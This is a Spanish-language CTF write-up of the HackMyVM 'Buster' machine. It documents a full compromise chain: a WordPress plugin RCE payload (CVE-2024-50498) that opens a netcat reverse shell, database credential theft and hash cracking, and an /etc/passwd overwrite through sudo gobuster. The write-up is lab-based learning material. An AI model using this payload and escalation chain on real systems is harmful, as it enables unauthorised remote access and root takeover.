cd ~/blog

~/writeups/hmv/120-buster.md

120 - Buster

easy Linux hmv 23-01-2025
WP Query Console RCE (CVE-2024-50498)WordPress DB credential disclosure + hash crackingsudo gobuster /etc/passwd overwrite
hackmyvm.eu/machines/machine.php?vm=Buster

~1 min de lectura


Enumeramos puertos:

 nmap -sCV -p 22,80 -oN 02-targeted.txt 192.168.1.5
...
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u4 (protocol 2.0)
80/tcp open  http    nginx 1.14.2
|_http-generator: WordPress 6.7.1
|_http-title: bammmmuwe
...

Es WordPress; con wpscan encontramos el plugin wp-query-console:

 wpscan --url http://192.168.1.5 --plugins-detection aggressive -t 50
...
[+] wp-query-console
 | Version: 1.0 ...
...

Es vulnerable a RCE (CVE-2024-50498). Lanzamos el payload contra el endpoint del plugin con Burp:

POST /wp-json/wqc/v1/query HTTP/1.1
Host: kubernetes.docker.internal
Content-Type: application/json

{"queryArgs":"shell_exec('nc 192.168.1.9 1234 -e /bin/bash');","queryType":"post"}
 ncat -nlvp 1234
Ncat: Connection from 192.168.1.5:52716.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

En el wp-config.php están las credenciales de la BD; entramos a MySQL y volcamos los hashes de usuarios:

www-data@listen:/home$ mysql -D wordpress -u ll104567 -p
Enter password: thehandsomeguy
...
MariaDB [wordpress]> select * from wp_users;
...
|  2 | welcome    | $P$BtP9ZghJTwDfSn1gKKc.k3mq4Vo.Ko/ | ...

Crackeamos el de welcome con john y cambiamos de usuario:

 echo 'welcome:$P$BtP9ZghJTwDfSn1gKKc.k3mq4Vo.Ko/' > hash
 john -w=/home/wh01s17/Documentos/wordlists/rockyou.txt hash
...
104567           (welcome)
...

www-data@listen:/home$ su welcome
Password: 104567
welcome

Obtenemos la primera flag. Revisamos sudo -l:

welcome@listen:/tmp$ sudo -l
...
User welcome may run the following commands on listen:
    (ALL) NOPASSWD: /usr/bin/gobuster

Abusamos de gobuster para sobrescribir /etc/passwd: montamos un servidor Flask que devuelve 200 para nuestra línea de usuario (gobuster escribe en el output las rutas con código válido) y usamos el pwned.txt como wordlist:

❯ cat server.py
from flask import Flask, Response
app = Flask(__name__)
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def catch_all(path):
    if len(path) == 36:
        return Response(status=404)
    else:
        return Response(status=200)
if __name__ == '__main__':
    app.run(host="0.0.0.0", port=80)
 perl -e 'print crypt("1234","aa")'
aatxRPdZ/m52.

welcome@listen:/tmp$ echo 'pwned:aatxRPdZ/m52.:0:0:x:/root:/bin/bash' > pwned.txt

welcome@listen:/tmp$ sudo /usr/bin/gobuster -w pwned.txt -u http://192.168.1.9 -n -q -o /etc/passwd
/pwned:aatxRPdZ/m52.:0:0:x:/root:/bin/bash

El nuevo usuario UID 0 queda escrito en /etc/passwd y nos autenticamos como él:

welcome@listen:/tmp$ su /pwned
Password: 1234
/pwned@listen:/tmp#

Obtenemos nuestra flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados